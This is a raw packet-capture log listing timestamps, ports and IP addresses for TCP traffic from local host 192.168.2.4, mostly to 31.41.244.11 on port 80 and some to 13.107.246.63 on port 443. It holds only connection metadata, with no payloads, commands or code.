Nov 30, 2024 09:45:10.558366060 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.558384895 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.559221029 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.559272051 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.559674025 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.559724092 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.560229063 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.560276985 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.560621023 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.560695887 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.561393023 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.561454058 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.561692953 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.561738968 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.563045025 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.563055992 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.563103914 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.563939095 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.563987017 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.564445019 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.564492941 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.564888000 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.564934015 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.565370083 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.565428019 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.566076994 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.566123962 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.566351891 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.566399097 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.567945004 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.567991018 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.568530083 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.568577051 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.569109917 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.569154978 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.569756031 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.569802999 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.570286036 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.570334911 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.570662022 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.570712090 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.570992947 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.571038008 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.571141005 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.571187019 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.572406054 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.572458982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.572865009 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.572912931 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.573329926 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.573378086 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.573798895 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.573844910 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.574286938 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.574333906 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.574785948 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.574831963 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.575452089 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.575503111 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.575690031 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.575731993 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.577132940 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.577178001 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.577603102 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.577653885 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.583178043 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.583239079 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.584160089 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.584172010 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.584314108 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.585191965 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.585220098 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.585247993 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.585262060 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.586208105 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.586256981 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.587279081 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.587342024 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.588213921 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.588258028 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.588267088 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.588304996 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.589346886 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.589358091 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.589359999 CET	443	49792	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.589411020 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.589860916 CET	49792	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.589883089 CET	443	49792	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.590308905 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.590362072 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.590384960 CET	49792	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.590390921 CET	443	49792	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.594420910 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.594434977 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.594475031 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.594494104 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.596441984 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.596453905 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.596494913 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.597470045 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.597481966 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.597517967 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.597539902 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.598664999 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.598716974 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.599535942 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.599589109 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.600596905 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.600656033 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.601618052 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.601629972 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.601672888 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.602912903 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.602960110 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.603619099 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.603631020 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.603672028 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.604614019 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.604624033 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.604657888 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.604682922 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.607805014 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.607861996 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.608711958 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.608722925 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.608762980 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.608762980 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.609771013 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.609819889 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.610804081 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.610856056 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.611856937 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.611902952 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.613852978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.613909006 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.614953041 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.615004063 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.615008116 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.615048885 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.615875959 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.615888119 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.615930080 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.616986036 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.617036104 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.617928028 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.617989063 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.619009972 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.619061947 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.621010065 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.621068001 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.647398949 CET	443	49791	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.647924900 CET	49791	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.647938013 CET	443	49791	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.648381948 CET	49791	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.648386955 CET	443	49791	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.701034069 CET	443	49794	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.701555014 CET	49794	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.701567888 CET	443	49794	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.701983929 CET	49794	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.701988935 CET	443	49794	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.738451004 CET	443	49793	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.738888979 CET	49793	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.738907099 CET	443	49793	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.739290953 CET	49793	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.739296913 CET	443	49793	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.742393970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.742470980 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.742640018 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.742697001 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.743165016 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.743217945 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.743592978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.743655920 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.745002031 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.745014906 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.745059013 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.745915890 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.745965958 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.746388912 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.746433020 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.746814013 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.746861935 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.747279882 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.747350931 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.748687029 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.748701096 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.748747110 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.748756886 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.749572039 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.749631882 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.750044107 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.750094891 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.750565052 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.750576973 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.750611067 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.750622988 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.752444983 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.752458096 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.752505064 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.753338099 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.753350019 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.753392935 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.753407001 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.754251957 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.754302025 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.754735947 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.754785061 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.756083965 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.756097078 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.756146908 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.757098913 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.757110119 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.757148981 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.757175922 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.758862019 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.758872986 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.758912086 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.758955002 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.759773970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.759787083 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.759824038 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.761739969 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.761751890 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.761801958 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.762831926 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.762844086 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.762888908 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.763528109 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.763540030 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.763587952 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.765264034 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.765275955 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.765319109 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.766174078 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.766222954 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.767168045 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.767221928 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.768826962 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.768842936 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.768884897 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.768989086 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.768994093 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.769002914 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.769040108 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.770975113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.770988941 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.771032095 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.771907091 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.771933079 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.771960974 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.771982908 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.772967100 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.772979975 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.773025990 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.774142027 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.774199963 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.774991989 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.775003910 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.775048018 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.776055098 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.776103020 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.776971102 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.777025938 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.777998924 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.778011084 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.778049946 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.778986931 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.778999090 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.779010057 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.779042959 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.779057026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.782028913 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.782041073 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.782087088 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.783046007 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.783097029 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.784188986 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.784244061 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.785048962 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.785098076 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.786098003 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.786111116 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.786150932 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.787056923 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.787106991 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.789082050 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.789093971 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.789138079 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.790090084 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.790101051 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.790146112 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.791074038 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.791121960 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.791152954 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.791201115 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.793121099 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.793133974 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.793173075 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.793183088 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.794183969 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.794197083 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.794235945 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.795202971 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.795254946 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.796139002 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.796150923 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.796191931 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.797163963 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.797216892 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.799206018 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.799263954 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.800127983 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.800148964 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.800160885 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.800180912 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.800203085 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.802176952 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.802190065 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.802229881 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.803203106 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.803215027 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.803251982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.804227114 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.804277897 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.805197001 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.805253029 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.806276083 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.806329966 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.807292938 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.807306051 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.807346106 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.808222055 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.808279037 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.810316086 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.810374022 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.810947895 CET	443	49795	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.811237097 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.811254978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.811306953 CET	49795	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.811316967 CET	49790	80	192.168.2.4	31.41.244.11
